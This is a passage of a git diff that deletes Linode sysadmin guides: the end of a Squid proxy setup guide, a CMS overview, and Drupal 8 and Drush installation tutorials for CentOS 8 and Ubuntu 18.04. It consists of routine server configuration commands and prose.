`192.0.2.1` with their corresponding IP addresses. Update the optional comments `# Home IP` and `# Work IP` with accurate descriptions to help keep track of multiple clients. Access to the proxy is granted by adding the names defined by each `acl` to the `http_access allow` line. - -### User/Password Authentication - -You can also configure your Squid HTTP proxy to accept authentication with usernames and passwords. - -1. Install `htpasswd` by installing the Apache utility programs. If you have installed Apache on your Linode, you will already have it and can skip this step. - - sudo yum install httpd-tools - -1. Create a file to store Squid users and passwords: - - sudo touch /etc/squid/squid_passwd - -1. Change ownership of the password file: - - sudo chown squid /etc/squid/squid_passwd - -1. Create a username password pair, replacing `user1` with the name of the user you'd like to add: - - sudo htpasswd /etc/squid/squid_passwd user1 - - You will be prompted to create a password for this user: - - {{< output >}} -New password: -Re-type new password: -Adding password for user user1 -{{< /output >}} - - You can repeat this step at any time to create new users. - -1. Check the location of the `nsca_auth` file: - - sudo rpm -ql squid | grep ncsa_auth - -1. Edit the Squid configuration file and add the following lines at the beginning of the file: - - {{< note respectIndent=false >}} -Ensure that you update `/usr/lib64/squid/basic_ncsa_auth` below with the location of the `nsca_auth` file that you checked in the previous step. -{{< /note >}} - - {{< file "/etc/squid/squid.conf" >}} -auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/squid_passwd -acl ncsa_users proxy_auth REQUIRED -http_access allow ncsa_users -{{< /file >}} - -1. To remove a user's access to the proxy, you must delete the corresponding entry in the `squid_passwd` file. Each user is represented in the file on a single line in the format of `user:passwordhash`: - - {{< file "/etc/squid/squid_passwd" >}} -user1:\$p948w3nvq3489v6npq396g user2:\$q3cn478554387cq34n57vn -{{< /file >}} - - If you are using Nano, the command `Control+k` will remove the entire line where the cursor rests. - - Once you've saved and exited the file, complete user removal by restarting Squid: - - sudo systemctl restart squid - -### Combined Authentication - -You can combine authentication methods using the same `acl` definitions that you have added in the previous two sections by using a single `http_access` rule. - -1. Remove any previous `http_access` lines you have added. - -1. Edit the Squid configuration file so that the lines you have added at the beginning of the file follow this form: - - {{< file "/etc/squid/squid.conf" >}} -acl client1 src 192.0.2.0 # Home IP -acl client2 src 192.0.2.1 # Work IP -auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/squid_passwd -acl ncsa_users proxy_auth REQUIRED -http_access allow client1 client2 ncsa_users -{{< /file >}} - - {{< note respectIndent=false >}} -Take care to avoid using multiple `http_access` rules when combining authentication methods, as Squid will follow the rules in the order that they appear. By using a single `http_access` rule for your `acl` definitions, you will ensure that several authentication methods will apply to each client that attempts to connect to your Squid HTTP proxy. -{{< /note >}} - -## Anonymize Traffic - -Here, you will add rules to mask client IP addresses from the servers that receive traffic from you Squid HTTP proxy. Without these rules, the originating client IP addresses may be passed on through the `X-Forwarded For` HTTP header. - -Add the following lines at the beginning of the Squid configuration file: - -{{< file "/etc/squid/squid.conf" >}} -forwarded_for off -request_header_access Allow allow all -request_header_access Authorization allow all -request_header_access WWW-Authenticate allow all -request_header_access Proxy-Authorization allow all -request_header_access Proxy-Authenticate allow all -request_header_access Cache-Control allow all -request_header_access Content-Encoding allow all -request_header_access Content-Length allow all -request_header_access Content-Type allow all -request_header_access Date allow all -request_header_access Expires allow all -request_header_access Host allow all -request_header_access If-Modified-Since allow all -request_header_access Last-Modified allow all -request_header_access Location allow all -request_header_access Pragma allow all -request_header_access Accept allow all -request_header_access Accept-Charset allow all -request_header_access Accept-Encoding allow all -request_header_access Accept-Language allow all -request_header_access Content-Language allow all -request_header_access Mime-Version allow all -request_header_access Retry-After allow all -request_header_access Title allow all -request_header_access Connection allow all -request_header_access Proxy-Connection allow all -request_header_access User-Agent allow all -request_header_access Cookie allow all -request_header_access All deny all -{{< /file >}} - -## Enable Connections - -Next, you will enable clients to connect to your Squid HTTP proxy. - -1. Save and exit the Squid configuration file. - -1. Restart Squid to enable the rules you have added: - - sudo systemctl restart squid - -1. Implement firewall rules to enable port `3128`, which is the default service port used by Squid: - - sudo firewall-cmd --add-port=3128/tcp --permanent - sudo firewall-cmd --reload - - You can find more information on configuring firewall rules for CentOS in our guide on [Introduction to FirewallD on CentOS](/cloud/guides/introduction-to-firewalld-on-centos/). - -## Connect to your Squid HTTP Proxy - -Your Squid HTTP proxy is now ready to accept client connections and anonymously handle internet traffic. - -At this point, you can configure your local browser or operating system's network settings to use your Linode as an HTTP proxy. The settings to do this will vary depending on your OS and browser. Instructions for certain OS and browser settings are located in the [More Information](#more-information) section below. - -Generally, connecting to your Squid HTTP proxy requires the following information: - -- The IP address or domain name associated with your Linode. -- The port that is being used by Squid. The default port is `3128`. -- A username and password if you have configured them for authentication. - -Once you have established your OS or browser settings, test the connection by pointing your browser at a website that tells you your IP address, such as: - -- [ifconfig.me](http://ifconfig.me) -- [WhatIsMyIP.com](http://www.whatismyip.com/) -- [Googling "what is my ip"](https://www.google.com/search?q=what+is+my+ip) - -The result should display your Linode's IP address instead of the IP address of your client computer. diff --git a/docs/guides/websites/cms/basics/cms-overview/index.md b/docs/guides/websites/cms/basics/cms-overview/index.md deleted file mode 100644 index 51e53d678f8..00000000000 --- a/docs/guides/websites/cms/basics/cms-overview/index.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -slug: cms-overview -title: "Content Management Systems: An Overview" -description: "An overview of the three content management systems that Linode supports" -authors: ["Linode"] -contributors: ["Linode"] -published: 2014-10-17 -modified: 2017-02-15 -keywords: ["drupal", "WordPress", "joomla", "cms", "content management system", "content management framwork"] -tags: ["drupal","wordpress","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/cms/cms-overview/','/websites/cms/basics/cms-overview/'] ---- - -A content management system, or CMS, creates and manages websites. CMS applications eliminate the need for programming. Once running, they enable non-technical professionals to upload and administer their own content. Any coding is replaced with a user-friendly, point-and-click interface. There are dozens of popular CMS apps available, and many are free. Every CMS has a different design with particular web functionalities, aimed at specific users. CMS applications have been around since the late 1990s, and they continue to reach larger and larger audiences. - -![Content Management Systems: an Overview](content-management-systems-an-overview.png "Content Management Systems: an Overview") - -Even experienced programmers often choose using a CMS over coding a website. Content management systems foster quicker website development. A CMS website can be created and deployed within days. Many of the more popular CMS applications are open sourced. Open sourcing allows users to write helpful documentation or develop new add-ons. Through extremely active online communities, open sourcing creates plug-ins, modules, comments, questions, and technical answers. Help is always just a search away. - -## Content Management Systems on a Linode - -Linode has installation guides for [Drupal](/cloud/guides/managing-web-content-with-drupal-7/), [WordPress](/cloud/guides/how-to-install-and-configure-wordpress/), and [Joomla](/cloud/guides/manage-web-content-with-joomla/). Together, they are the most popular CMS apps on the web. However, before you install, you'll need a running Linode, so see the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide. For security, work through the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. And, finally for server configuration, create a LAMP stack with the [Hosting a Website](/cloud/guides/hosting-a-website-ubuntu-18-04/) guide. - -{{< note >}} -A LAMP stack is a System Admin term for a web server using Linux, Apache, MySQL, and PHP. Linux is an operating system, Apache is web-server software, MySQL is a database, and PHP is a programming language. This is a common stack combination and supports many CMS applications. -{{< /note >}} - -Using a Linode gives you more control and a greater understanding of website administration. Linux and content management systems play a huge role in the open-source world, and now, you can begin learning both. - -## Themes and Templates - -Most content management systems create their webpage layout with a theme. The appeal of any site starts with visual design. The appearance of your homepage keeps visitors coming back for more content. After installation, picking a theme is the next major decision. No worries, it's never too difficult to change. - -Themes, sometimes called skins, are HTML or CSS based. They act as templates, which means they are customizable. For example, a theme can create the header image divisions, column alignments, title text placement, webpage width, paragraph placement, side bars, and side bar modules. CMS applications may have default themes already available or other themes available on the web or for purchase. - -## Drupal, Joomla, and WordPress - -Three of the world's most popular content management systems are open source, free, and top quality. Each has its own strengths and development history. - -### Drupal - -[Drupal](/cloud/guides/managing-web-content-with-drupal-7/) manages many visually stunning, popular sites like Weather.com, WhiteHouse.gov, and Rutgers.edu. Drupal has been in continuous release since 2001. Because of an active development cycle, Drupal releases an update every two to four months. A huge user community attends bi-annual conferences in North America and Europe. - -Drupal's strength lies in its organization. Drupal starts with the Drupal core, a base set of files, which allows for package add-ons like themes or modules. The core may have a basic set of modules or built-in themes, but can be continually customized. Optionally, a Drupal distribution is a similar to the core but centered around specific site needs. Distributions exist for kickstarter sites, news media sites, or community-based sites, to name a few. - -### Joomla - -[Joomla](/cloud/guides/manage-web-content-with-joomla/) has been in release since 2005 and manages sites like eBay, General Electric, and Ikea. Joomla released version 4.0 in March 2015. While Drupal has more modules and themes, Joomla has more extensions with thousands of add-on options, although the idea of modules and extensions often overlap. Both Drupal and Joomla have users in the millions, which means thousands of user comments and help topics can be found online. - -Joomla works best for intermediate users, and while it lends itself to social collaboration or community-driven website design, it can be customized toward any situation. The installation process is uncomplicated, but generating content will not be as easy as it is with WordPress. - -### WordPress - -Originally built as a blogger platform, [WordPress](/cloud/guides/how-to-install-and-configure-wordpress/) is arguably the easiest to use and the most popular. Initially released in 2003, it has grown rapidly since. The WP platform is used for over 60 million websites, and 100,000 new websites are created daily. - -WordPress is best for static content. However, WP sites are often built for complex, dynamic solutions because the community is so large and has added so many capabilities. The structure of the company behind WordPress, Automattic, and its philosophy represent the ability for large growth with such an open-source project. - -## Next Steps - -We have briefly covered the concepts of content management systems, CMS themes, LAMP stacks, CMS add-ons, open source, [Drupal](/cloud/guides/managing-web-content-with-drupal-7/), [Joomla](/cloud/guides/manage-web-content-with-joomla/), and [WordPress](/cloud/guides/how-to-install-and-configure-wordpress/). Create a Linode, follow our installation guides, and start delivering your content to the world. - - - - - - - - - diff --git a/docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-centos-8/index.md b/docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-centos-8/index.md deleted file mode 100644 index f417181d0e3..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-centos-8/index.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -slug: how-to-install-and-configure-drupal-on-centos-8 -title: Install and Configure Drupal on CentOS 8 -title_meta: How to Install and Configure Drupal on CentOS 8 -description: 'This guide will show you how to install and configure the very popular content management system, Drupal 8, on your Linode running CentOS 8.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-18 -keywords: ["cms", "apache", "php", "content management system", "drupal 8", "centos 8"] -tags: ["drupal","centos","apache","lamp","php","cms"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: L_ConfigDrupalCentOS8.png -relations: - platform: - key: how-to-install-drupal - keywords: - - distribution: CentOS 8 -aliases: ['/websites/cms/drupal/how-to-install-and-configure-drupal-on-centos-8/'] ---- - -Drupal 8 is the latest version of the popular [Drupal](https://www.drupal.org/) content management system. This guide demonstrates how to install Drupal 8 on your Linode running CentOS 8. - - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -1. Install and configure a [LAMP stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) - -1. Install the `wget` and `tar` utilities. You will need this in a later section to install the Drupal 8 core. - - sudo yum install wget -y && sudo yum install tar - -1. In order to work with Drupal 8 and SELinux, you will need to install Python's policy core utilities, which give you access to useful tools to manage SELinux settings. - - sudo yum install policycoreutils-python-utils - -## Download and Prepare Drupal 8 - -1. Navigate to your site's document root. If you installed and configured your Apache server using our [LAMP stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) guide, your document root should be located in the `/var/www/html/example.com/public_html/` directory. Replace `example.com` with your own document root path's name. - - cd /var/www/html/example.com - -1. Download the Drupal 8 tarball. As of writing this guide, Drupal 8.8.2 is the latest version. See [Drupal's download page](https://www.drupal.org/project/drupal) for their latest core tarball. - - sudo wget http://ftp.drupal.org/files/projects/drupal-8.8.2.tar.gz - - {{< note type="alert" respectIndent=false >}} -Ensure that the version number matches the Drupal 8 version you wish to download. -{{< /note >}} - -1. Extract the downloaded tarball's contents into your site's document root: - - sudo tar -zxvf drupal-8.*.tar.gz --strip-components=1 -C public_html - -1. Drupal depends on a PHP graphics library called GD. Install GD and other dependencies: - - sudo yum install -y php php-{cli,mysqlnd,json,opcache,xml,mbstring,gd,curl} - -1. Create your Drupal 8 installation's `settings.php` file from the default settings file. This file will be configured when you run through Drupal's web configuration in the [Drupal First Start](#drupal-first-start) section. - - sudo cp /var/www/html/example.com/public_html/sites/default/default.settings.php /var/www/html/example.com/public_html/sites/default/settings.php - -1. Enforce [trusted hostnames](https://www.drupal.org/node/2410395) with those that users will access your site from. With the text editor of your choice, edit your `settings.php` file replacing the [regular expression (RegEx)](https://www.php.net/manual/en/reference.pcre.pattern.syntax.php) with a pattern that matches your own site's URL(s). - - {{< file "/var/www/html/example.com/public_html/sites/default/settings.php" conf >}} -$settings['trusted_host_patterns'] = array( - '^www\.example\.com$', - '^example\.com$', - ); - -{{< /file >}} - - - {{< note respectIndent=false >}} -`trusted_host_patterns` also accepts IP addresses or localhost. -{{< /note >}} - -## Configure Apache 2.4 - -1. Enable Apache's [rewrite module](https://httpd.apache.org/docs/current/mod/mod_rewrite.html). This module is necessary since Drupal 8 enables [Clean URLs](https://www.drupal.org/getting-started/clean-urls) by default. To enable this module, edit your Apache configuration to include the `LoadModule` line displayed in the example file below. - - {{< file "/etc/httpd/conf/httpd.conf" apache >}} -LoadModule rewrite_module modules/mod_rewrite.so - {{}} - -2. Specify the rewrite conditions for your Drupal site's document root in Apache's configuration file using the text editor of your choice. If you installed and configured your Apache server using [LAMP stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) guide, the configuration file for your site is located at `/etc/httpd/conf.d/example.com.conf`. - - {{< file "/etc/httpd/sites-enabled/example.com.conf" conf >}} - - Options Indexes FollowSymLinks - AllowOverride All - Require all granted - RewriteEngine on - RewriteBase / - RewriteCond %{REQUEST_FILENAME} !-f - RewriteCond %{REQUEST_FILENAME} !-d - RewriteRule ^(.*)$ index.php?q=$1 [L,QSA] - -{{< /file >}} - -1. Set the SELinux context for the directories Drupal 8 and Apache in order to read and write to them. This includes your site's root directory and subdirectories. - - sudo semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/html/example.com/public_html(/.*)?" - sudo semanage fcontext -a -t httpd_sys_rw_content_t '/var/www/html/example.com/public_html/sites/default/settings.php' - sudo semanage fcontext -a -t httpd_sys_rw_content_t '/var/www/html/example.com/public_html/sites/default/files' - sudo restorecon -Rv /var/www/html/example.com/public_html - sudo restorecon -v /var/www/html/example.com/public_html/sites/default/settings.php - -1. Change the ownership of your site's document root from `root` to `apache`. This allows you to install modules and themes, and to update Drupal, without being prompted for FTP credentials. - - sudo chown apache:apache -R /var/www/html/example.com/public_html - -1. Restart Apache so all your changes are applied. - - sudo systemctl restart httpd - -## Drupal First Start - -1. Go to your Linode's domain or IP address in a web browser. This will show you the first step of Drupal 8's web configuration. Choose your language and proceed to the next page. - - ![Drupal 8 choose language.](drupal-choose-language.png) - -2. Choose whether you want a *Standard* or *Minimal* installation profile. - - ![Drupal 8 choose installation profile.](drupal-choose-installation-profile.png) - -3. Complete the database configuration using the DB name, username and password you created when [setting up your LAMP stack](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) with a MySQL or MariaDB database. - - ![Drupal 8 database configuration.](drupal-database-configuration.png) - - {{< note respectIndent=false >}} -If you forgot the name of your database, log back in to MySQL or MariaDB with: `mysql -u root -p` and enter: `show databases;`. -{{< /note >}} - -4. After Drupal 8 installs your site, you'll be shown a site configuration page where you must create the admin user for your website. Do not use the same password that you used for your database. - - ![Drupal 8 site configuration.](drupal-site-configuration.png) - - Next, you'll be taken to the administrative dashboard which will say that Drupal 8 was installed successfully. - - ![Drupal 8 installed welcome.](drupal-installed-welcome.png) - -5. Now that Drupal 8 is finished writing to `settings.php` and `services.yaml`, you can restore their default permissions: - - sudo chmod 644 /var/www/html/example.com/public_html/sites/default/{settings.php,services.yml} - -## Where to Go From Here - -Drupal has a significant amount of documentation for [security best practices](https://www.drupal.org/security/secure-configuration) to consider when hardening any Drupal server. There is also extensive [community documentation](https://www.drupal.org/documentation) and there are multiple ways of [participating in the Drupal community](https://www.drupal.org/community). diff --git a/docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-ubuntu-18-04/index.md b/docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-ubuntu-18-04/index.md deleted file mode 100644 index 8a40b3a96e3..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -slug: how-to-install-and-configure-drupal-on-ubuntu-18-04 -title: Install and Configure Drupal on Ubuntu 18.04 -title_meta: How to Install and Configure Drupal on Ubuntu 18.04 LTS -description: 'This guide will show you how to install and configure the very popular content management system, Drupal 8, on your Linode running Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-18 -keywords: ["cms", "apache", "php", "content management system", "drupal 8", "ubuntu 18.04"] -tags: ["drupal","ubuntu","apache","lamp","php","cms"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: L_Drupal_on_Ubuntu1804.png -relations: - platform: - key: how-to-install-drupal - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/websites/cms/drupal/how-to-install-and-configure-drupal-on-ubuntu-18-04/'] ---- - -Drupal 8 is the latest version of the popular [Drupal](https://www.drupal.org/) content management system. This guide demonstrates how to install Drupal 8 on your Linode running Ubuntu 18.04. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -3. Install and configure a [LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) - -## Download and Prepare Drupal 8 - -1. Navigate to your site's document root. If you installed and configured your Apache server using our [LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) guide, your document root should be located in the `/var/www/html/example.com/public_html/` directory. Replace `example.com` with your own document root path's name. - - cd /var/www/html/example.com - -1. Download the Drupal 8 tarball. As of writing this guide, Drupal 8.8.2 is the latest version. See [Drupal's download page](https://www.drupal.org/project/drupal) for their latest core tarball. - - sudo wget http://ftp.drupal.org/files/projects/drupal-8.8.2.tar.gz - - {{< note type="alert" respectIndent=false >}} -Ensure that the version number matches the Drupal 8 version you wish to download. -{{< /note >}} - -1. Extract the downloaded tarball's contents into your site's document root: - - sudo tar -zxvf drupal-8.*.tar.gz --strip-components=1 -C public_html - -1. Drupal depends on a PHP graphics library called GD. Install GD and other dependencies: - - sudo apt-get install php-gd php-xml php-dom php-Simplexml php-mbstring - -1. Create your Drupal 8 installation's `settings.php` file from the default settings file. This file will be configured when you run through Drupal's web configuration in the [Drupal First Start](#drupal-first-start) section. - - sudo cp /var/www/html/example.com/public_html/sites/default/default.settings.php /var/www/html/example.com/public_html/sites/default/settings.php - -1. Enforce [trusted hostnames](https://www.drupal.org/node/2410395) with those that users will access your site from. With the text editor of your choice, edit your `settings.php` file replacing the [regular expression (RegEx)](https://www.php.net/manual/en/reference.pcre.pattern.syntax.php) with a pattern that matches your own site's URL(s). - - {{< file "/var/www/html/example.com/public_html/sites/default/settings.php" conf >}} -$settings['trusted_host_patterns'] = array( - '^www\.example\.com$', - '^example\.com$', - ); - -{{< /file >}} - - {{< note respectIndent=false >}} -`trusted_host_patterns` also accepts IP addresses or localhost. -{{< /note >}} - -## Configure Apache 2.4 - -1. Enable Apache's [rewrite module](https://httpd.apache.org/docs/current/mod/mod_rewrite.html). This module is necessary since Drupal 8 enables [Clean URLs](https://www.drupal.org/getting-started/clean-urls) by default. - - sudo a2enmod rewrite - -2. Specify the rewrite conditions for your Drupal site's document root in Apache's configuration file using the text editor of your choice. If you installed and configured your Apache server using [LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) guide, the configuration file for your site is located at `/etc/apache2/sites-available/example.com.conf`. - - {{< file "/etc/apache2/sites-available/example.com.conf" conf >}} - - Options Indexes FollowSymLinks - AllowOverride All - Require all granted - RewriteEngine on - RewriteBase / - RewriteCond %{REQUEST_FILENAME} !-f - RewriteCond %{REQUEST_FILENAME} !-d - RewriteRule ^(.*)$ index.php?q=$1 [L,QSA] - -{{< /file >}} - -1. Change the ownership of your site's document root from `root` to `www-data`. This allows you to install modules and themes, and to update Drupal, without being prompted for FTP credentials. - - sudo chown -R www-data:www-data /var/www/html/example.com - -4. Restart Apache so all changes are applied. - - sudo systemctl restart apache2 - -## Drupal First Start - -1. Go to your Linode's domain or IP address in a web browser. This will show you the first step of Drupal 8's web configuration. Choose your language and proceed to the next page. - - ![Drupal 8 choose language.](drupal-choose-language.png) - -2. Choose whether you want a *Standard* or *Minimal* installation profile. - - ![Drupal 8 choose installation profile.](drupal-choose-installation-profile.png) - -3. Complete the database configuration using the DB name, username and password you created when [setting up your LAMP stack](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) with a MySQL or MariaDB database. - - ![Drupal 8 database configuration.](drupal-database-configuration.png) - - {{< note respectIndent=false >}} -If you forgot the name of your database, log back in to MySQL or MariaDb with: `mysql -u root -p` and enter: `show databases;`. -{{< /note >}} - -4. After Drupal 8 installs your site, you'll be shown a site configuration page where you must create the admin user for your website. Do not use the same password that you used for your database. - - ![Drupal 8 site configuration.](drupal-site-configuration.png) - - Next, you'll be taken to the administrative dashboard which will say that Drupal 8 was installed successfully. - - ![Drupal 8 installed welcome.](drupal-installed-welcome.png) - -5. Now that Drupal 8 is finished writing to `settings.php` and `services.yaml`, you can restore their default permissions: - - sudo chmod 644 /var/www/html/example.com/public_html/sites/default/{settings.php,services.yml} - -## Where to Go From Here - -Drupal has a significant amount of documentation for [security best practices](https://www.drupal.org/security/secure-configuration) to consider when hardening any Drupal server. There is also extensive [community documentation](https://www.drupal.org/documentation) and there are multiple ways of [participating in the Drupal community](https://www.drupal.org/community). diff --git a/docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-centos-8/index.md b/docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-centos-8/index.md deleted file mode 100644 index 2bf73200cdc..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-centos-8/index.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -slug: how-to-install-drupal-themes-and-modules-using-drush-on-centos-8 -title: Install Drupal Themes and Modules Using Drush on CentOS 8 -title_meta: How to Install Drupal Themes and Modules Using Drush on CentOS 8 -description: 'Use Drush to install and enable themes and modules on your Drupal site running on CentOS 8.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2014-12-05 -modified: 2020-03-11 -keywords: ["drupal", "cms", "content management system", "content management framework", "centos", "drush"] -tags: ["drupal","centos","apache","lamp","php","cms"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: DrupalThemesMods_DrushCentOS8.png -external_resources: - - '[SSL Certificates](/cloud/guides/security/ssl/)' - - '[Drush Commands](https://docs.drush.org/en/9.x/)' - - '[Backup and Migrate](https://www.drupal.org/docs/8/modules/backup-and-migrate/howto-for-backup-and-migrate)' -relations: - platform: - key: how-to-install-drupal-themes - keywords: - - distribution: CentOS 8 -aliases: ['/websites/cms/drupal/drush-drupal/how-to-install-drupal-themes-and-modules-using-drush-on-centos-8/','/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-centos-8/'] ---- - -[Drush](https://www.drush.org/) is a command line tool for creating, administrating, and modifying Drupal websites. This tutorial uses Drush to install themes and modules. It will also briefly cover backups and migrations for Drupal websites. - -## Before You Begin - -Before installing themes, modules, and a backup system using Drush, make sure that the following prerequisites have been met: - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -1. Install and configure a [LAMP stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) - -1. Install [Composer and Drush on CentOS 8](/cloud/guides/how-to-install-drush-on-centos-8/) - -1. Make sure that your system is up to date, using: - - sudo yum update -{{< note >}} -The Drush commands to download or enable themes and modules vary depending on the version of Drush that you have installed. This guide uses Drush 10. -{{< /note >}} - -## Installing Themes with Drush - -In this section you will download, enable, and set a Drupal theme using Drush. - -1. Navigate to [Drupal's Download and Extend page](https://www.drupal.org/project/project_theme) to find the theme you want to download. The Drush download name is usually appended to the end of the Drupal theme page's URL; for example, `drupal.org/project/project/my_theme`. - -1. Move into your Drupal site's document root, `/var/www/html/example.com/public_html/`. Replace `example.com` with your own domain's name. - - cd /var/www/html/example.com/public_html - -1. Download your desired theme using [Composer](https://getcomposer.org/doc/). For example to download the `bootstrap` theme use: - - composer require drupal/bootstrap - - {{< note respectIndent=false >}} -If you receive an error related to not being able to write to the `composer.json` file, see the [Setting the Site’s Ownership and Permissions](/cloud/guides/how-to-install-drupal-using-drush-on-centos-8/#setting-the-sites-ownership-and-permissions) section of the [Install Drupal using Drush on CentOS 8](/cloud/guides/how-to-install-drupal-using-drush-on-centos-8/) guide. - -Ensure that your `/var/www/html/example.com/public_html` directory has user and group read, write, and execute permissions. - - sudo chmod 774 -R /var/www/html/example.com/public_html - {{< /note >}} - -1. Enable the theme that you downloaded in the previous step. For example, to enable the `bootstrap` theme run the following command. Replace `bootstrap` with the name of your theme. - - drush theme:enable bootstrap - -1. As an example, set the [Omega](https://www.drupal.org/project/omega) theme as the default and active theme: - - drush config-set system.theme default omega - - Check the homepage of your site and the new theme should appear. - -## Installing Modules with Drush - -Downloading and enabling a module is similar to working with a theme. However, modules can be used for almost any purpose. From enhancing public-facing functionality to providing a better administrative UI; there are thousands of Drupal modules. It is helpful to use modules with clear documentation, since once a module is installed, its interface can be challenging to use if it is not well documented and designed by the contributor. - -1. Move into your Drupal site's document root, `/var/www/html/example.com/public_html/`. Replace `example.com` with your own domain's name. - - cd /var/www/html/example.com/public_html - -1. Download the [Backup and Migrate](https://www.drupal.org/project/backup_migrate) module. This module enables you to perform the backup, restore, and migrate tasks - - composer require drupal/backup_migrate - -2. Enable the `backup_migrate` module: - - drush en backup_migrate -y - -3. Sign in to your Drupal site's browser interface and navigate to the **Extend** menu item (or **Administration > Extend**). Under the **OTHER** section, the Backup and Migrate module will be listed and selected. - -You have successfully installed and enabled a new module. The module is now running and ready to be used. - -## Backup a Drupal Site - -It's always important to keep regular backups of a website. Backups protect you from losing data due to configuration changes, vulnerabilities, or system failures. Backups should be stored on a separate system whenever possible. The **Backup and Migrate** module helps you to create backups of your site. - -1. To configure backup and migrate, navigate to **Administration > Configuration > Development > Backup and Migrate** - -2. For a quick backup, select the type of **Backup Source** and select the **Backup Destination**, and click **Backup now** -{{< note >}} -Always download a backup prior to updating or installing modules. -{{< /note >}} diff --git a/docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04/index.md b/docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04/index.md deleted file mode 100644 index 88bee3254ac..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,113 